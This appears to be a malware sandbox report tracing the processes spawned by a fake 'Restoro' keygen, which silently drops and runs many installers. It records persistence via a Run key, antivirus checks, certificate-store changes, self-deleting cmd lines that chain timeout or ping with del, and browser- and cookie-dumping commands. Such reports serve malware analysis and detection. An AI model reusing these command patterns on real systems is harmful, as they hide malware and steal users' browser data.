- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6932 /prefetch:8
  2⤵
  PID:2656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7336 /prefetch:8
  2⤵
  PID:3268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7480 /prefetch:8
  2⤵
  PID:4600
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7548 /prefetch:1
  2⤵
  PID:960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7704 /prefetch:8
  2⤵
  PID:1540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7736 /prefetch:8
  2⤵
  PID:4036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7968 /prefetch:8
  2⤵
  PID:4292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8088 /prefetch:8
  2⤵
  PID:2872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8240 /prefetch:8
  2⤵
  PID:2256
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8232 /prefetch:8
  2⤵
  PID:4800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8500 /prefetch:8
  2⤵
  PID:4760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8688 /prefetch:8
  2⤵
  PID:4408
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6864 /prefetch:1
  2⤵
  PID:2976
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8808 /prefetch:8
  2⤵
  PID:2104
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8860 /prefetch:8
  2⤵
  PID:2448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8912 /prefetch:8
  2⤵
  PID:4796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8872 /prefetch:8
  2⤵
  PID:192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5264 /prefetch:1
  2⤵
  PID:4620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5180 /prefetch:8
  2⤵
  PID:4168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9252 /prefetch:8
  2⤵
  PID:3952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9376 /prefetch:8
  2⤵
  PID:5148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5228 /prefetch:8
  2⤵
  PID:5188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4968 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4624 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5920
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9056 /prefetch:1
  2⤵
  PID:5960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9236 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8836 /prefetch:8
  2⤵
  PID:3480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3452 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5312
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3408 /prefetch:8
  2⤵
  PID:5360
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8896 /prefetch:8
  2⤵
  PID:5440
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8896 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3412 /prefetch:8
  2⤵
  PID:5616
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8724 /prefetch:8
  2⤵
  PID:5668
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4952 /prefetch:8
  2⤵
  PID:5720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9072 /prefetch:8
  2⤵
  PID:708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8368 /prefetch:8
  2⤵
  PID:212
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=5244 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3348 /prefetch:8
  2⤵
  PID:4632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3404 /prefetch:8
  2⤵
  PID:4744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4308 /prefetch:8
  2⤵
  PID:2392
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2060 /prefetch:8
  2⤵
  PID:1240
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3612 /prefetch:8
  2⤵
  PID:5132

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5580

C:\Users\Admin\AppData\Local\Temp\Temp2_Restoro_2_0_1_keygen_by_KeygenNinja.zip\Restoro_2_0_1_keygen_by_KeygenNinja.exe
"C:\Users\Admin\AppData\Local\Temp\Temp2_Restoro_2_0_1_keygen_by_KeygenNinja.zip\Restoro_2_0_1_keygen_by_KeygenNinja.exe"
1⤵
PID:2644
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
  2⤵
  PID:4412
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
    keygen-pr.exe -p83fsase3Ge
    3⤵
    - Executes dropped EXE
    PID:4396
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
      4⤵
      Executes dropped EXE
      PID:5240
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
        5⤵
        
        PID:5868
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
    keygen-step-1.exe
    3⤵
    - Executes dropped EXE
    PID:4424
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe
    keygen-step-2.exe
    3⤵
    - Executes dropped EXE
    - Modifies system certificate store
    PID:676
  - - C:\Users\Admin\AppData\Roaming\7F7E.tmp.exe
      "C:\Users\Admin\AppData\Roaming\7F7E.tmp.exe"
      4⤵
      Executes dropped EXE
      PID:5920
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\7F7E.tmp.exe"
        5⤵
        
        PID:5952
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        6⤵
        Delays execution with timeout.exe
        
        PID:5404
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL
      4⤵
      PID:6108
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        5⤵
        Runs ping.exe
        
        PID:5152
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
    keygen-step-3.exe
    3⤵
    - Executes dropped EXE
    PID:4636
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
      4⤵
      PID:5908
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 3000
        5⤵
        Runs ping.exe
        
        PID:6068
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
    keygen-step-4.exe
    3⤵
    - Executes dropped EXE
    PID:4576
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1044
    - - C:\Users\Admin\AppData\Local\Temp\LPFWTFLWD0\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LPFWTFLWD0\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:2172
      - C:\Users\Admin\AppData\Local\Temp\LPFWTFLWD0\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LPFWTFLWD0\multitimer.exe" 1 3.1616869535.605f789f29d73 101
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:1080
        
        C:\Users\Admin\AppData\Local\Temp\LPFWTFLWD0\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LPFWTFLWD0\multitimer.exe" 2 3.1616869535.605f789f29d73
        7⤵
        Executes dropped EXE
        Checks for any installed AV software in registry
        Maps connected drives based on registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1736
        
        C:\Users\Admin\AppData\Local\Temp\yz5s0kpbogl\2ym0hzrqbhb.exe
        
        "C:\Users\Admin\AppData\Local\Temp\yz5s0kpbogl\2ym0hzrqbhb.exe" /VERYSILENT
        8⤵
        Executes dropped EXE
        
        PID:640
        
        C:\Users\Admin\AppData\Local\Temp\is-BOK23.tmp\2ym0hzrqbhb.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-BOK23.tmp\2ym0hzrqbhb.tmp" /SL5="$1039A,2592217,780800,C:\Users\Admin\AppData\Local\Temp\yz5s0kpbogl\2ym0hzrqbhb.exe" /VERYSILENT
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1240
        
        C:\Users\Admin\AppData\Local\Temp\is-IN2JL.tmp\winlthsth.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-IN2JL.tmp\winlthsth.exe"
        10⤵
        
        PID:1096
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1096 -s 472
        11⤵
        Program crash
        
        PID:5264
        
        C:\Users\Admin\AppData\Local\Temp\2a55hdmrhpm\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2a55hdmrhpm\vict.exe" /VERYSILENT /id=535
        8⤵
        Executes dropped EXE
        
        PID:1020
        
        C:\Users\Admin\AppData\Local\Temp\is-JPD59.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-JPD59.tmp\vict.tmp" /SL5="$10422,870426,780800,C:\Users\Admin\AppData\Local\Temp\2a55hdmrhpm\vict.exe" /VERYSILENT /id=535
        9⤵
        Executes dropped EXE
        
        PID:220
        
        C:\Users\Admin\AppData\Local\Temp\is-VD1DR.tmp\winhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-VD1DR.tmp\winhost.exe" 535
        10⤵
        
        PID:6060
        
        C:\Users\Admin\AppData\Local\Temp\j2qh1hb4sww\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\j2qh1hb4sww\Setup3310.exe" /Verysilent /subid=577
        8⤵
        Executes dropped EXE
        
        PID:2832
        
        C:\Users\Admin\AppData\Local\Temp\is-23O6B.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-23O6B.tmp\Setup3310.tmp" /SL5="$203C0,138429,56832,C:\Users\Admin\AppData\Local\Temp\j2qh1hb4sww\Setup3310.exe" /Verysilent /subid=577
        9⤵
        Executes dropped EXE
        
        PID:844
        
        C:\Users\Admin\AppData\Local\Temp\is-36UES.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-36UES.tmp\Setup.exe" /Verysilent
        10⤵
        
        PID:2000
        
        C:\Program Files (x86)\VR\Versium Research\customer5.exe
        
        "C:\Program Files (x86)\VR\Versium Research\customer5.exe"
        11⤵
        
        PID:1352
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"
        12⤵
        
        PID:236
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
        
        parse.exe -f json -b edge
        13⤵
        
        PID:6564
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
        
        parse.exe -f json -b chrome
        13⤵
        
        PID:4324
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
        
        parse.exe -f json -b firefox
        13⤵
        
        PID:748
        
        C:\Program Files (x86)\VR\Versium Research\jg7_7wjg.exe
        
        "C:\Program Files (x86)\VR\Versium Research\jg7_7wjg.exe"
        11⤵
        
        PID:4804
        
        C:\Program Files (x86)\VR\Versium Research\moSvKMEovuRx.exe
        
        "C:\Program Files (x86)\VR\Versium Research\moSvKMEovuRx.exe"
        11⤵
        
        PID:4492
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        12⤵
        
        PID:6596
        
        C:\Program Files (x86)\VR\Versium Research\22.exe
        
        "C:\Program Files (x86)\VR\Versium Research\22.exe"
        11⤵
        
        PID:2240
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"
        12⤵
        
        PID:5796
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install
        13⤵
        
        PID:3496
        
        C:\Program Files (x86)\VR\Versium Research\RmSetp.exe
        
        "C:\Program Files (x86)\VR\Versium Research\RmSetp.exe"
        11⤵
        
        PID:1692
        
        C:\ProgramData\6828347.exe
        
        "C:\ProgramData\6828347.exe"
        12⤵
        
        PID:4064
        
        C:\ProgramData\2315996.exe
        
        "C:\ProgramData\2315996.exe"
        12⤵
        
        PID:6020
        
        C:\ProgramData\Windows Host\Windows Host.exe
        
        "C:\ProgramData\Windows Host\Windows Host.exe"
        13⤵
        
        PID:6724
        
        C:\Program Files (x86)\VR\Versium Research\lylal220.exe
        
        "C:\Program Files (x86)\VR\Versium Research\lylal220.exe"
        11⤵
        
        PID:3664
        
        C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe
        
        "C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe"
        11⤵
        
        PID:3800
        
        C:\Program Files (x86)\VR\Versium Research\RunWW.exe
        
        "C:\Program Files (x86)\VR\Versium Research\RunWW.exe"
        11⤵
        
        PID:1840
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\VR\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
        12⤵
        
        PID:6364
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im RunWW.exe /f
        13⤵
        Kills process with taskkill
        
        PID:4188
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        13⤵
        Delays execution with timeout.exe
        
        PID:6720
        
        C:\Program Files (x86)\VR\Versium Research\hjjgaa.exe
        
        "C:\Program Files (x86)\VR\Versium Research\hjjgaa.exe"
        11⤵
        
        PID:1672
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:5900
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:3860
        
        C:\Users\Admin\AppData\Local\Temp\1euznlszn4d\s2qd1lm101j.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1euznlszn4d\s2qd1lm101j.exe" /ustwo INSTALL
        8⤵
        
        PID:5812
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 648
        9⤵
        Program crash
        
        PID:5432
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 660
        9⤵
        Program crash
        
        PID:2956
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 664
        9⤵
        Program crash
        
        PID:2076
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 668
        9⤵
        Program crash
        
        PID:4932
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 880
        9⤵
        Program crash
        
        PID:1816
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 948
        9⤵
        Program crash
        
        PID:4452
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 1316
        9⤵
        Program crash
        
        PID:5656
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 1340
        9⤵
        Program crash
        
        PID:5956
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5812 -s 1388
        9⤵
        Program crash
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\qiu221whdao\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\qiu221whdao\vpn.exe" /silent /subid=482
        8⤵
        
        PID:3172
        
        C:\Users\Admin\AppData\Local\Temp\is-OSBSQ.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-OSBSQ.tmp\vpn.tmp" /SL5="$204DC,15170975,270336,C:\Users\Admin\AppData\Local\Temp\qiu221whdao\vpn.exe" /silent /subid=482
        9⤵
        
        PID:1580
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
        10⤵
        
        PID:5212
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        11⤵
        
        PID:7008
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
        10⤵
        
        PID:3352
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
